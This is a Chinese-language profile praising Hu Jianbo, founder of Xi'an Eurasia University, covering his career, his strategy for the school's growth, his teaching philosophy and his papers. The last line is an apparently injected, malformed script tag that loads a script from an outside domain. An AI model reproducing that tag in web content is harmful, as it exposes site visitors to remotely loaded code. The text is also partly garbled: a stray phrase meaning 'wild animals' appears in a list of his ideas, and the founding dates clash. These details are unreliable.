1980-1984西北建筑工程学院，主修建筑工程机械专业，获工学学士学位1984-1992西安文理学院任教1992-1996西安外事学院，任副董事长兼院长1997年至今西安欧亚学院，任学院董事长兼院长2005-2007中欧国际工商管理学院，获高级工商管理硕士学位（EMBA）2008年至今21世纪教育研究院副理事长

高瞻务实的民办教育创业家创办欧亚学院之前，胡建波同志已经在高教战线工作长达11年了。他凭借自己多年在教育战线上的感悟，意识到教育对一个人、一个民族、一个国家是至关重要的，尤其是对中国这样一个人口大国而言，加之我国高度教育还处于从精英教育向大众化教育过渡的阶段，高等教育毛入学率刚刚越过15%，每年都有很多的高考落榜生，面临上不了大学的尴尬局面。出于对教育事业的热爱和对落榜生的大爱情怀，更想为中国民办教育事业做点事情的坚定信念，他敏锐地抓住了党的改革开放政策的大好形势，于1986年涉足民办教育。1995年亲自创建西安欧亚学院，建校之初，条件比较艰苦，但只要能创出一条民办教育的特色之路，再苦、再累也心甘情愿。就是凭着这股子韧劲和对事业的忠诚、执着，他毅然的走上了这条艰苦的创业之路。民办高校在中国还处于发展阶段，没有现成的经验借鉴，只能靠民办教育家的大胆探索，审时度势，着眼发展，胡院长正是这样一位具有前瞻性思想的杰出民办教育家。作为一所民办大学的校长，胡建波深深懂得，民办高校没有规模就没有效益，没有质量就没有生命力。在学院创办初期，提出了 “以规模求生存，以速度求发展”的思路， 使学院实现了“跨越式”发展，1998—2001年三年迈出三大步，在校生规模突破万人大关；2002年，又提出了“规模适度、质量优先”的原则，在招生形势非常好的情况下，主动压缩招生规模，确立了“以质量保规模，以质量促效益”的发展思路；2005年西安欧亚学院正式升本后，他又提出“服务面向定位”思想，以“立足陕西，面向中西部地区，面向社会，培养生产、建设、管理、服务一线需要的高等技术应用性人才”作为欧亚升本后的办学定位。2007年，他积极促成学院在国内高校中首家与管理咨询公司合作，重新梳理了使命、愿景、核心价值观；2008年提出包括三个重要里程阶段的“四四二”十年战略目标；2009年又确立了质量、品牌、经营三大战略发展方向，现已形成了系统的战略管理体系。短短15年间，在胡建波院长的带领下，将欧亚学院这所崭新的学校转化成一所具有较高社会知名度的民办本科高校，完成了创业期、扩展期、规范发展期向战略转型期的蜕变，实现了跨越式发展。现在的欧亚已经是一所在全国、全省范围内有一定影响，社会、政府、行业及教育消费者广泛认可的本科普通民办高校。睿智创新的民办教育思想者在十多年的办学实践中，胡建波提出了诸多关于教育及大学治理的很有影响力的思想和观点。开办全日制之初，他提出欧亚学院要秉承“办学以人为本、育人以德为先”的教育理念，并贯穿于学院的发展历程。在其后的办学实践中，又先后提出“学得受用、学了有用”、野生动物、为利益相关者创造价值等与民校广大学子息息相关的思想。同时，他又不遗余力地为教育宏观政策建言献策，最具代表性的是主张在大学间发展并形成竞争机制，建立高等教育市场化改革的共同愿景。他认为，高等教育领域的改革，要以政府创造良好的政策环境为前提，以改革民办高校内部管理体制，建立现代大学制度为突破口，把创新人才培养模式，切实提高教学质量作为落脚点，实现高等教育由“供给导向型”向“需求导向型”的转变，满足人民群众日益增长的多样化的教育需求。他还大胆打破传统教育模式，着眼于学生接受高等教育的实际目的和诉求，注重学生的全面发展，注重学生的能力培养和人格的养成教育。强调培养适应社会需求的技能型、应用型人才。通过关注学生在校内和校外的成功，使得学生在校内完成“从学生到学习者”的转变；走出校门则将从一个关注自我发展的人，转变为强调对他人和社会做出贡献的，有价值的人。胡建波对民办高等教育，尤其是对素质教育和高等职业技术教育的理论进行了卓有成效的探索研究，先后在在《高等教育研究》、《高等教育工程研究》等核心期刊上发表论文10余篇。代表作有：《平衡计分卡在高校战略管理中的应用》、《高校稳定工作的治本之路——构建高校全面风险管理体系》、《大学生形势与政策教育的若干思考》、《浅析当代大学生道德观的“知行矛盾”》等。为了抓学院的内涵建设，提高教育教学质量，胡建波院长深入教学第一线，在从事学院管理工作的之余，还坚持承担了《教学法》、《战略管理》等课程的教学任务，通过课堂教学实践直接了解学生的真实需求和动向，有针对性地调整人才培养模式及课堂授课方式。在课堂教学中，按照以学生为中心的教与学的办学理念，强调把教师的权威最小化、把学生的兴趣和愿望最大化，通过体验式的教学方式，激发学生自身的积极性和主动性，构建了一套独具特色的教学模式，所授的课深受广大学生喜爱。在欧亚学院2010年毕业典礼上，胡建波院长深情陈词：“我所期盼的欧亚的花园，就是要在浮华的现实中，踏踏实实地用真正的教育工作者的情怀和境界去办学校；就是要在功利的教育大环境中，实行以学生为中心、为生活做准备的教育，举办一所‘以每一个学生的健康成长和终身幸福为本’的私立大学。”?script src=http://www.234mu.com/>